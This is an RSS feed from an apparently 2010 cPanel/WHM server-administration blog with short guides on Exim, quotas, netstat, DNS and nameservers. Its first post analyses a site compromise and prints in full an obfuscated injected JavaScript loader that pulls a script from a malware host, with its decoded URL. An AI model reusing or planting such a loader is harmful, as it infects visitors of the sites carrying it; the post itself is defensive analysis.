<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WHM Help</title>
	<atom:link href="http://www.whmhelp.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.whmhelp.com</link>
	<description>guides, tutorials, solutions and notes for cpanel whm server management</description>
	<lastBuildDate>Mon, 26 Apr 2010 21:58:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Warning: Visiting this site may harm your computer!</title>
		<link>http://www.whmhelp.com/2010/04/warning-visiting-site-harm-computer.html</link>
		<comments>http://www.whmhelp.com/2010/04/warning-visiting-site-harm-computer.html#comments</comments>
		<pubDate>Mon, 26 Apr 2010 21:58:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[5b]]></category>
		<category><![CDATA[5d]]></category>
		<category><![CDATA[6d]]></category>
		<category><![CDATA[6e]]></category>
		<category><![CDATA[7a]]></category>
		<category><![CDATA[cpanel hosting malware]]></category>
		<category><![CDATA[cpanel malware]]></category>
		<category><![CDATA[Date Function]]></category>
		<category><![CDATA[freecarzone.at malware]]></category>
		<category><![CDATA[Fv]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Hf]]></category>
		<category><![CDATA[Hn]]></category>
		<category><![CDATA[K Var]]></category>
		<category><![CDATA[Lr]]></category>
		<category><![CDATA[malware alert firefox]]></category>
		<category><![CDATA[malware alert google chrome]]></category>
		<category><![CDATA[New Date]]></category>
		<category><![CDATA[realshoponline malware]]></category>
		<category><![CDATA[realshoponline.info malware]]></category>
		<category><![CDATA[Regexp]]></category>
		<category><![CDATA[Server Owner]]></category>
		<category><![CDATA[System Administrator]]></category>
		<category><![CDATA[Unescape]]></category>
		<category><![CDATA[warning malware]]></category>
		<category><![CDATA[whm malware]]></category>
		<category><![CDATA[Yq]]></category>
		<category><![CDATA[Zb]]></category>
		<category><![CDATA[Zx]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=92</guid>
		<description><![CDATA[Does any of your sites opening in browser(firefox/chrome) give you this security alert ? Warning: Visiting this site may harm your computer! The website at yourwebsite.com contains elements from the site freecarzone.at, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains [...]]]></description>
			<content:encoded><![CDATA[<p>Does any of your sites opening in browser(firefox/chrome) give you this security alert ?</p>
<blockquote>
<div>Warning: Visiting this site may harm your computer!</div>
<div>The website at <em><strong>yourwebsite.com</strong></em> contains elements from the site <strong><a href="http://freecarzone.at/" target="_blank">freecarzone.at</a></strong>, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer.</div>
<div>For detailed information about the problems with these elements, visit the Google <a>Safe Browsing diagnostic page</a> for <a href="http://freecarzone.at/" target="_blank">freecarzone.at</a>.</div>
<div><a>Learn more about how to protect yourself from harmful software online.<br />
</a></div>
<div></div>
</blockquote>
<div>You have got news.. your site is compromised.. What would be the first thing you would do as a system administrator or a server owner or a site owner ? You would search for your codes for freecarzone.at or simply ignore it ? what would you do ?</div>
<div></div>
<div>Unfortunately none of these options work, freecarzone.at string wont be found in any of your files. This kind of malware infected few of my sites a couple of weeks back. I opened a site file which i beleived to have been infected. At the end of the file after the assumed last line of code i saw a new set of javascript, ones which i couldnt understand.. It was encoded. It looked like the one below</div>
<div></div>
<blockquote>
<div>&lt;script&gt;var M;if(M!=&#8217;m&#8217; &amp;&amp; M != &#8221;){M=null};function k(){var y;if(y!=&#8217;bd&#8217;){y=&#8221;};var Ul=&#8221;;var ZB;if(ZB!=&#8221; &amp;&amp; ZB!=&#8217;IwR&#8217;){ZB=null};var d=window;var b=d['unescape'];var a;if(a!=&#8217;l'){a=&#8221;};this.p=&#8221;;var V=b(&#8220;%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%75%74%6f%2e%72%75%2f%62%75%7a%7a%6e%65%74%2e%63%6f%6d%2e%70%68%70&#8243;);var nP;if(nP!=&#8217;MY&#8217;){nP=&#8217;MY&#8217;};var G=new Date();function Y(w,H){var X=b(&#8220;%5d&#8221;);var j=b(&#8220;%5b&#8221;);var A=&#8221;";var HN=String(&#8220;g&#8221;);var v;if(v!=&#8221;){v=&#8217;wQ&#8217;};this.UR=&#8221;;var Zx;if(Zx!=&#8221; &amp;&amp; Zx!=&#8217;lR&#8217;){Zx=&#8221;};var F=new RegExp(j+H+X, HN);this.Yq=&#8221;";this.Kl=&#8221;;return w.replace(F, new String());var C;if(C!=&#8217;ks&#8217; &amp;&amp; C!=&#8217;hf&#8217;){C=&#8217;ks&#8217;};};var jr;if(jr!=&#8221;){jr=&#8217;gL&#8217;};var Fv;if(Fv!=&#8221;){Fv=&#8217;P'};var kU;if(kU!=&#8217;KH&#8217; &amp;&amp; kU != &#8221;){kU=null};var E=&#8221;";var h=Y(&#8216;sacar9iApgtA&#8217;,'VA68ag9dT&#8217;);var aW;if(aW!=&#8217;Dx&#8217; &amp;&amp; aW != &#8221;){aW=null};var CU=new Date();var Xm=Y(&#8216;sVrvcw&#8217;,'W46lwVvCn3ptLx&#8217;);var YN=&#8221;;var YB=&#8221;;var S=Y(&#8216;doeofoeprk&#8217;,'GkZha0Tp5RtoB&#8217;);this.PJ=&#8221;;var n=Y(&#8217;85935691097415683111741307161334&#8242;,&#8217;96437251&#8242;);var _Z;if(_Z!=&#8221; &amp;&amp; _Z!=&#8217;cY&#8217;){_Z=&#8217;QE&#8217;};var dQ=document;function nY(){var kS=new Date();var I=b(&#8220;%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a&#8221;);var em=new Date();var eh=new Date();var Xk=I;var TB;if(TB!=&#8221; &amp;&amp; TB!=&#8217;J'){TB=null};this.Ik=&#8221;;Xk+=n;var zS;if(zS!=&#8217;cZ&#8217; &amp;&amp; zS!=&#8217;f'){zS=&#8221;};Xk+=V;var JC=&#8221;";var hM;if(hM!=&#8217;ms&#8217; &amp;&amp; hM!=&#8217;yw&#8217;){hM=&#8217;ms&#8217;};this.q_=&#8221;";this.uc=&#8221;";var Sx=&#8221;;try {_=dQ[Y('cUr1e1aut3euEGlJeUmGeGnJtU','UJu31Gz')](h);var vC=&#8221;";var moK;if(moK!=&#8217;pu&#8217; &amp;&amp; moK!=&#8217;qq&#8217;){moK=&#8221;};_[S]=[2,1][1];_[Xm]=Xk;var hG=new String();var cc=&#8221;;dQ.body[Y('azpMpxe_nqdvCMhZijlwdZ','Pzxq_vwZjMBg')](_);this.Ci=&#8221;;var Yf=new String();var fm=new Array();this.bp=&#8221;;} catch(B){var rG=new String();this.EX=&#8221;";};this.OX=&#8221;";var TM=new Date();var ka;if(ka!=&#8217;Hm&#8217; &amp;&amp; ka != &#8221;){ka=null};}var ke=new Array();var lx=&#8221;";var Iw=Y(&#8216;omnNlAoJamdJ&#8217;,'pNAgwmU0J2CFTcSVR8Yj&#8217;);var IS=new Array();var rm;if(rm!=&#8221;){rm=&#8217;DM&#8217;};this.vX=&#8221;";d[Iw]=nY;var Pq=&#8221;";var FD=&#8221;";};var XH;if(XH!=&#8217;sD&#8217; &amp;&amp; XH!=&#8217;Lj&#8217;){XH=&#8217;sD&#8217;};var Xh;if(Xh!=&#8217;Mr&#8217; &amp;&amp; Xh!=&#8217;wi&#8217;){Xh=&#8217;Mr&#8217;};var Az;if(Az!=&#8217;bP&#8217; &amp;&amp; Az!=&#8217;OQ&#8217;){Az=&#8217;bP&#8217;};k();&lt;/script&gt;</div>
</blockquote>
<div>This script is completely encoded and so you shall not understand the strings inside it which leads to freecarzone.at or realshoponline.info</div>
<div></div>
<div>To know it better, i went to <a href="http://jsunpack.jeek.org/dec/go" target="_blank">http://jsunpack.jeek.org/dec/go</a>? and decoded the script and i got this response there</div>
<blockquote>
<div>//jsunpack.called CreateElement script  //jsunpack.element http://freecarzone.at:8080/google.com/auto.ru/buzznet.com.php</div>
<div><strong><br />
</strong></div>
</blockquote>
<div><strong>Now why this happens and how to prevent it</strong>?</div>
<div>You will answer yourself if you have a thorough lookout in your /var/log/messages. I checked for pure-ftpd log of the infected user in /var/log/messages. I found many log entries of download and a sequential continuous upload of same file. That is someone was downloading and modifying and uploading it back to the server. This happened from different ips geographically diversified. That confirms an attack. It happened due to a poor ftp password.</div>
<div>
First thing to do is to change your ftp passwords to a mix of letters and numbers and secure you account. Then configure your firewall (CSF firewal preferred) to have block diversified attacks. There is an option in csf to block all ips attacking a single account in a predefined time. It means if many ips get authentication failed for a single username, all the ips will get blocked suspecting that as an attack.</div>
<p><strong>Similar Posts:</strong>
<ul class="similar-posts">None Found
</ul>
<p><!-- Similar Posts took 6.131 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2010/04/warning-visiting-site-harm-computer.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>suPHP and open_basedir</title>
		<link>http://www.whmhelp.com/2010/03/suphp-openbasedir.html</link>
		<comments>http://www.whmhelp.com/2010/03/suphp-openbasedir.html#comments</comments>
		<pubDate>Fri, 19 Mar 2010 03:03:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache / PHP]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Basedir]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[Ini]]></category>
		<category><![CDATA[Lib]]></category>
		<category><![CDATA[open_basedir]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[suPHP]]></category>
		<category><![CDATA[Tmp]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=81</guid>
		<description><![CDATA[suPHP doesn&#8217;t support open_basedir but you can still add the following to your php.ini in order to get most things out of view. open_basedir = /home/:/usr/lib/php:/usr/local/lib/php:/tmp After  placing this in your php.ini you wll need to restart Apache. If you decide to use a different handler like you can with cPanel remember to comment the [...]]]></description>
			<content:encoded><![CDATA[<p>suPHP doesn&#8217;t support open_basedir but you can still add the  following to your php.ini in order to get most things out of view.</p>
<table width="96%" align="center">
<caption>
</caption>
<tbody>
<tr>
<td>
<pre>open_basedir = /home/:/usr/lib/php:/usr/local/lib/php:/tmp</pre>
</td>
</tr>
</tbody>
</table>
<p>After  placing this in your php.ini you wll need to restart Apache.  If you decide to use a different handler like you can with cPanel  remember to comment the added line out.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.whmhelp.com/2009/10/configure-dns-recursive-in-cpanel.html" rel="bookmark" title="October 17, 2009">Configure DNS recursive</a></li>
<li><a href="http://www.whmhelp.com/2009/10/cpanel-soap-extension-cpanel-php.html" rel="bookmark" title="October 15, 2009">cPanel SOAP extension for cPanel PHP</a></li>
<li><a href="http://www.whmhelp.com/2009/10/official-cpanelwhm-newbie-guide.html" rel="bookmark" title="October 8, 2009">Official cPanel/WHM Newbie Guide</a></li>
<li><a href="http://www.whmhelp.com/2009/10/backend-scripts-directory-functions-explained.html" rel="bookmark" title="October 8, 2009">cPanel WHM Scripts directory explained &#8211; Backend WHM Scripts to make administrative functions easier</a></li>
<li><a href="http://www.whmhelp.com/2009/10/cpanel-exim-outgoing-mail-error-whm-unable-bind-outgoing-smtp-call-2031042235.html" rel="bookmark" title="October 6, 2009">cPanel EXIM outgoing mail error in WHM: unable to bind outgoing SMTP call to 203.104.22.35</a></li>
</ul>
<p><!-- Similar Posts took 10.122 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2010/03/suphp-openbasedir.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exim &#8211; Delete messages more than 24 hours old</title>
		<link>http://www.whmhelp.com/2010/03/exim-delete-messages-24-hours.html</link>
		<comments>http://www.whmhelp.com/2010/03/exim-delete-messages-24-hours.html#comments</comments>
		<pubDate>Fri, 19 Mar 2010 03:02:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exim]]></category>
		<category><![CDATA[24 Hours]]></category>
		<category><![CDATA[Delete]]></category>
		<category><![CDATA[exim delete email queue]]></category>
		<category><![CDATA[exim delete emails]]></category>
		<category><![CDATA[exim queue]]></category>
		<category><![CDATA[exim remove emails]]></category>
		<category><![CDATA[Mrm]]></category>
		<category><![CDATA[Queue]]></category>
		<category><![CDATA[Sbin]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=79</guid>
		<description><![CDATA[If you need to clean up your exim queue and delete emails queued and older than 24 hours run this command. /usr/sbin/exiqgrep -o 86400 -i &#124; xargs exim -Mrm Similar Posts: Exim Mail Segfaults and mail delivery fails using MBOX Exim &#8211; Enable Extended Logging to track spammers cPanel EXIM outgoing mail error in WHM: [...]]]></description>
			<content:encoded><![CDATA[<p>If you need to clean up your exim queue and delete emails queued and older than 24 hours run this command.</p>
<blockquote>
<pre>/usr/sbin/exiqgrep -o 86400 -i | xargs exim -Mrm</pre>
</blockquote>
<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.whmhelp.com/2009/10/exim-mail-segfaults-mail-delivery-fails-mbox.html" rel="bookmark" title="October 7, 2009">Exim Mail Segfaults and mail delivery fails using MBOX</a></li>
<li><a href="http://www.whmhelp.com/2009/10/exim-enable-extended-logging-track-spammers.html" rel="bookmark" title="October 5, 2009">Exim &#8211; Enable Extended Logging to track spammers</a></li>
<li><a href="http://www.whmhelp.com/2009/10/cpanel-exim-outgoing-mail-error-whm-unable-bind-outgoing-smtp-call-2031042235.html" rel="bookmark" title="October 6, 2009">cPanel EXIM outgoing mail error in WHM: unable to bind outgoing SMTP call to 203.104.22.35</a></li>
<li><a href="http://www.whmhelp.com/2009/10/cpanel-exim-large-log-file-eximmainlog.html" rel="bookmark" title="October 13, 2009">cPanel Exim &#8211; Large log file &#8211; exim_mainlog</a></li>
<li><a href="http://www.whmhelp.com/2009/10/official-cpanelwhm-newbie-guide.html" rel="bookmark" title="October 8, 2009">Official cPanel/WHM Newbie Guide</a></li>
</ul>
<p><!-- Similar Posts took 9.643 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2010/03/exim-delete-messages-24-hours.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WHM Quota Setup</title>
		<link>http://www.whmhelp.com/2010/03/whm-quota-setup.html</link>
		<comments>http://www.whmhelp.com/2010/03/whm-quota-setup.html#comments</comments>
		<pubDate>Mon, 15 Mar 2010 14:16:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[cPanel and WHM]]></category>
		<category><![CDATA[cpanel quota]]></category>
		<category><![CDATA[cpanel quotas]]></category>
		<category><![CDATA[Disk Quotas]]></category>
		<category><![CDATA[Disk Space Limits]]></category>
		<category><![CDATA[Initial Quota]]></category>
		<category><![CDATA[initial quota setup]]></category>
		<category><![CDATA[Quota Limit]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Web Space Limits]]></category>
		<category><![CDATA[whm initial quota setup]]></category>
		<category><![CDATA[whm quota]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=76</guid>
		<description><![CDATA[You can activate quota from WHM &#62; Initial Quota Setup. Quotas enable you to easy set specific users disk space limits. If you wish to specify user limits, such as web space limits for specific users. This should be done. In short this is kinda mandatory. Once done you can check if quotas are reporting [...]]]></description>
			<content:encoded><![CDATA[<p>You can activate quota from WHM &gt; Initial Quota Setup.</p>
<p>Quotas enable you to easy set specific users disk space limits. If you wish to specify user limits, such as web space limits for specific users. This should be done. In short this is kinda mandatory.</p>
<p>Once done you can check if quotas are reporting correctly be querying this command on shell. You get a similar output as shown below</p>
<blockquote><p>quota -u abcuser<br />
Disk quotas for user abcuser (uid 507):<br />
Filesystem blocks quota limit grace files quota limit grace<br />
/dev/sda5 458080 1536000 1536000 15102 0 0</p></blockquote>
<p><strong>Similar Posts:</strong>
<ul class="similar-posts">None Found
</ul>
<p><!-- Similar Posts took 3.564 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2010/03/whm-quota-setup.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>netstat to track connections in server &#124; help identify ddos attacks</title>
		<link>http://www.whmhelp.com/2010/02/nestat-track-connections-server-identify-ddos-attacks.html</link>
		<comments>http://www.whmhelp.com/2010/02/nestat-track-connections-server-identify-ddos-attacks.html#comments</comments>
		<pubDate>Fri, 26 Feb 2010 19:15:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache / PHP]]></category>
		<category><![CDATA[Newbie]]></category>
		<category><![CDATA[cPanel and WHM]]></category>
		<category><![CDATA[Awk]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[Ddos Attacks]]></category>
		<category><![CDATA[ddos attacks in cpanel]]></category>
		<category><![CDATA[Grep]]></category>
		<category><![CDATA[help ddos attacks]]></category>
		<category><![CDATA[Netstat]]></category>
		<category><![CDATA[netstat whm]]></category>
		<category><![CDATA[Network Server]]></category>
		<category><![CDATA[Server Help]]></category>
		<category><![CDATA[Tcp Udp]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=73</guid>
		<description><![CDATA[Use either of these commands to track ddos in your server. This will give you an idea of number of connections and the network activity in server. Any unethically high number of connections can conclude that you are a victim. netstat -tan &#124; grep &#8216;:80 &#8216; &#124; awk &#8216;{print $6}&#8217; &#124; sort &#124; uniq -c [...]]]></description>
			<content:encoded><![CDATA[<p>Use either of these commands to track ddos in your server. This will give you an idea of number of connections and the network activity in server. Any unethically high number of connections can conclude that you are a victim.</p>
<p>netstat -tan | grep &#8216;:80 &#8216; | awk &#8216;{print $6}&#8217; | sort | uniq -c</p>
<p>netstat -anp |grep &#8216;tcp\|udp&#8217; | awk &#8216;{print $5}&#8217; | cut -d: -f1 | sort | uniq -c | sort -n<strong>Similar Posts:</strong>
<ul class="similar-posts">None Found
</ul>
<p><!-- Similar Posts took 4.235 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2010/02/nestat-track-connections-server-identify-ddos-attacks.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WHM &#8211; Setup private nameservers</title>
		<link>http://www.whmhelp.com/2009/11/whm-setup-private-nameservers.html</link>
		<comments>http://www.whmhelp.com/2009/11/whm-setup-private-nameservers.html#comments</comments>
		<pubDate>Sat, 31 Oct 2009 20:25:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[cPanel and WHM]]></category>
		<category><![CDATA[brand nameservers]]></category>
		<category><![CDATA[branded nameservers]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[nameservers]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[setjup private nameservers]]></category>
		<category><![CDATA[whm]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=69</guid>
		<description><![CDATA[This guide will show you the ropes in how to setup cpanel nameservers and configure them properly so you can run ns1 and ns2.yoursite.com. Once your nameservers are setup clients can then use your own private nameservers for their domains. 1. Regiser your domain Register the domain name you would like to use, you can [...]]]></description>
			<content:encoded><![CDATA[<p>This guide will show you the ropes in how to setup cpanel nameservers and configure them properly so you can run ns1 and ns2.yoursite.com. Once your nameservers are setup clients can then use your own private nameservers for their domains.</p>
<p><strong>1. Regiser your domain<br />
</strong>Register the domain name you would like to use, you can register a domain here if you need one.This domain will be used as your nameservers &#8211; eg ns1.yourdomain.com and ns2.yourdomain.com</p>
<p><strong>2. Additional IPs<br />
</strong>Have 2 available IP addresses for your server that aren&#8217;t in use.You will need to contact you provider to obtain these IP addreses.</p>
<p><strong>3. Registering the Nameservers<br />
</strong>Now login to your domain management page for the domain you registered and  register ns1.newdomain.com and ns2.newdomain.com as nameservers (registries normally have a special facility for doing that). The registry may also have a facility to propogate these nameservers around the foreign registries &#8211; if so, you should use this facility.</p>
<p>These registrations may take a few days to propagate (often as many as 3 days).</p>
<p><!-- COPYRIGHT MIDDLE ART --></p>
<div>Article provided by WebHostGear.com</div>
<p><!-- END COPYRIGHT MIDDLE ART --><script src="http://a.wavepointmedia.net/adx.js" type="text/javascript"></script> <script type="text/javascript">// <![CDATA[
   if (!document.phpAds_used) document.phpAds_used = ',';
   phpAds_random = new String (Math.random()); phpAds_random = phpAds_random.substring(2,11);</p>
<p>   document.write ("<" + "script language='JavaScript' type='text/javascript' src='");
   document.write ("http://a.wavepointmedia.net/adjs.php?n=" + phpAds_random);
   document.write ("&amp;what=zone:14&amp;target=_blank");
   document.write ("&amp;exclude=" + document.phpAds_used);
   if (document.referrer)
      document.write ("&amp;referer=" + escape(document.referrer));
   document.write ("'><" + "/script>");
// ]]&gt;</script><script src="http://a.wavepointmedia.net/adjs.php?n=515607855&amp;what=zone:14&amp;target=_blank&amp;exclude=,&amp;referer=http%3A//www.google.com/search%3Fie%3DUTF-8%26oe%3DUTF-8%26sourceid%3Dnavclient%26gfns%3D1%26q%3Dcpanel+guide+to+setup+nameservers" type="text/javascript"></script></p>
<p><noscript>&amp;amp;lt;a href=&#8217;http://a.wavepointmedia.net/adclick.php?n=a263378f&#8217; target=&#8217;_blank&#8217;&amp;amp;gt;&amp;amp;lt;img src=&#8217;http://a.wavepointmedia.net/adview.php?what=zone:14&amp;amp;amp;amp;n=a263378f&#8217; border=&#8217;0&#8242; alt=&#8221;&amp;amp;gt;&amp;amp;lt;/a&amp;amp;gt;</noscript><strong>4. Reverse DNS</strong><br />
You may also need to get your data centre to enter a reverse DNS pointer for your nameservers. You&#8217;ll need to let them know each nameserver and its IP address. Sometimes you can suffer non-delivery of mail if you don&#8217;t so this. Reverse DNS pointers can take a while to propagate.<br />
Setup a reverse on the IP address for your domain</p>
<p><strong>5. Broken NDC/BIND</strong><br />
My version of WHM/CPanel came with a broken NDC. To fix this:</p>
<p>SSH into your box as root.</p>
<p>(a) Type: <em>cd /scripts<br />
</em>(b) Type: <em>./updatenow </em><br />
(c) Type: <em>./fixndc </em></p>
<p>Go back into WHM, go to the Restart Services section in the left menu and click DNS/Nameserver (BIND).</p>
<p>You will need to do this if you start getting &#8216;ndc&#8217; errors when you are doing anything DNS related in WHM.</p>
<p><strong>6. Setup Nameservers In WHM<br />
</strong>Go into WHM (Web Host Manager) and select Edit Setup from the Server Setup menu on the left. Enter ns1.newdomain.com in the Primary Nameserver field. Hit &#8216;Assign IP Address&#8217;, then hit &#8216;Add an A Entry for this nameserver&#8217;.<br />
Repeat this process for the Secondary Nameserver field.</p>
<p><strong>7. Tidy Up Junk Nameservers</strong><br />
Go into WHM (Web Host Manager) and select Manage Nameserver IPs from the Server Setup menu on the left. Remove any nameservers you don&#8217;t recognise. This is just a tidy up exercise in case anyone&#8217;s set anything up on the box before you.</p>
<p><strong>8. Initial Nameserver Setup</strong><br />
Go into WHM (Web Host Manager) and select Initial NameServer Setup from the Server Setup menu on the left. Run this.</p>
<p><strong>9. Restart BIND</strong><br />
Restart BIND (step 7 restarts BIND, but we&#8217;ve known it to need a proper stop and start for it to work) from SSH with:</p>
<p><em>service named stop<br />
service named start</em></p>
<p><strong>10. Manual Checks</strong><br />
I don&#8217;t know what it is about this process, but it doesn&#8217;t always work, so there are some things you can check manually via SSH.</p>
<p><em>/etc/wwwacct.conf</em><br />
Check that the nameservers are correctly specified on NS, NS2 etc.<br />
<strong>EG:</strong> scroll to the name servers section&#8230;..<br />
NS ns1.yournameserver.com<br />
NS2 ns2.yournameserver.com</p>
<p><em>/etc/resolv.conf<br />
</em>Check that there are nameserver entries for each IP. There may also be one for 127.0.0.1 &#8211; this is okay. I&#8217;m led to believe (by the &#8216;man&#8217; entry for resolv.conf) that this isn&#8217;t a particularly important file, but I changed mine to read:</p>
<p>domain mybox.com<br />
search mybox.com<br />
nameserver 127.0.0.1<br />
nameserver 111.111.111.111<br />
nameserver 222.222.222.222</p>
<p>Where &#8216;mybox.com&#8217; is the main domain of my server, and &#8217;111.111.111.111&#8242; and &#8217;222.222.222.222&#8242; are the IP addresses of my primary and secondary nameservers.</p>
<p>resolv.conf is used to lookup names that are not in FQDN format.</p>
<p><em>/etc/nameserverips</em><br />
Check that there are entries for each IP acting as a nameserver.<br />
<strong>EG:<br />
</strong>IPHERE=ns1.yournameserver.com<br />
IPHERE=ns2.yournameserver.com</p>
<p>Source: webhosttgear.com<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.whmhelp.com/2009/10/official-cpanelwhm-newbie-guide.html" rel="bookmark" title="October 8, 2009">Official cPanel/WHM Newbie Guide</a></li>
<li><a href="http://www.whmhelp.com/2009/10/whm-whm-api-error-resellers-permitted-create-subdomains-servers-main-domain.html" rel="bookmark" title="October 15, 2009">WHM / WHM API Error &#8211;  Sorry, resellers are not permitted to create subdomains of the server&#8217;s main domain</a></li>
<li><a href="http://www.whmhelp.com/2009/10/backend-scripts-directory-functions-explained.html" rel="bookmark" title="October 8, 2009">cPanel WHM Scripts directory explained &#8211; Backend WHM Scripts to make administrative functions easier</a></li>
<li><a href="http://www.whmhelp.com/2009/10/cpanel-exim-outgoing-mail-error-whm-unable-bind-outgoing-smtp-call-2031042235.html" rel="bookmark" title="October 6, 2009">cPanel EXIM outgoing mail error in WHM: unable to bind outgoing SMTP call to 203.104.22.35</a></li>
<li><a href="http://www.whmhelp.com/2009/10/expired-license-checklist.html" rel="bookmark" title="October 7, 2009">cPanel Expired License Checklist</a></li>
</ul>
<p><!-- Similar Posts took 11.483 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2009/11/whm-setup-private-nameservers.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fix your open DNS name servers</title>
		<link>http://www.whmhelp.com/2009/10/fix-open-dns-servers.html</link>
		<comments>http://www.whmhelp.com/2009/10/fix-open-dns-servers.html#comments</comments>
		<pubDate>Fri, 16 Oct 2009 19:01:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[Bind]]></category>
		<category><![CDATA[Ch Domain]]></category>
		<category><![CDATA[Checks]]></category>
		<category><![CDATA[Dns Name]]></category>
		<category><![CDATA[Dns Server]]></category>
		<category><![CDATA[Dns Servers]]></category>
		<category><![CDATA[Error Message]]></category>
		<category><![CDATA[fix named.conf]]></category>
		<category><![CDATA[fix open dns]]></category>
		<category><![CDATA[fix open named]]></category>
		<category><![CDATA[Name Servers]]></category>
		<category><![CDATA[named.conf]]></category>
		<category><![CDATA[Nano]]></category>
		<category><![CDATA[Open Servers]]></category>
		<category><![CDATA[Port 53]]></category>
		<category><![CDATA[Recursion]]></category>
		<category><![CDATA[Source Address]]></category>
		<category><![CDATA[Typing Service]]></category>

		<guid isPermaLink="false">http://www.whmhelp.com/?p=55</guid>
		<description><![CDATA[I just noticed www.dnsreport.com seems to have new check: it checks for open DNS server. This is how you check: 1) Go to http://www.dnsreport.com/tools/dnsreport.ch?domain=mydomain.com 2) Check for BIG RED &#8220;FAIL&#8221; (7th box, going down from up) saying &#8220;Open DNS servers&#8221;. If you see the message, you can correct it the following way: 1) login to [...]]]></description>
			<content:encoded><![CDATA[<p>I just noticed <a title="www.dnsreport.com" href="http://www.dnsreport.com/">www.dnsreport.com</a> seems to have new check: it checks for open DNS server. This is how you check:</p>
<p>1) Go to <a title="http://www.dnsreport.com/tools/dnsreport.ch?domain=mydomain.com" href="http://www.dnsreport.com/tools/dnsreport.ch?domain=mydomain.com">http://www.dnsreport.com/tools/dnsreport.ch?domain=mydomain.com</a><br />
2) Check for BIG RED &#8220;FAIL&#8221; (7th box, going down from up) saying &#8220;Open DNS servers&#8221;.</p>
<p>If you see the message, you can correct it the following way:</p>
<p>1) login to your server as root<br />
2) nano -w /etc/named.conf (if you are running Bind)<br />
3) Look for  // query-source address * port 53; and right below write the following line:</p>
<p>recursion no;</p>
<p>4) Save and exit, restart Bind by typing service named restart<br />
5) Check DNSReport.com to make sure it went right. You should not see the error message anymore.</p>
<p>If you run something else than Bind then please check <a title="http://www.dnsreport.com/info/opendns.htm" href="http://www.dnsreport.com/info/opendns.htm">http://www.dnsreport.com/info/opendns.htm</a> for instructions.</p>
<p>Source: eth0.us<strong>Similar Posts:</strong>
<ul class="similar-posts">None Found
</ul>
<p><!-- Similar Posts took 4.392 ms --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whmhelp.com/2009/10/fix-open-dns-servers.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configure DNS recursive</title>
		<link>http://www.whmhelp.com/2009/10/configure-dns-recursive-in-cpanel.html</link>
		<comments>http://www.whmhelp.com/2009/10/configure-dns-recursive-in-cpanel.html#comments</comments>
		<pubDate>Fri, 16 Oct 2009 19:00:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DNS]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[DNS recursive]]></category>
		<category><![CDATA[make dns recursive]]></category>
		<category><![CDATA[recursive dns]]></category>

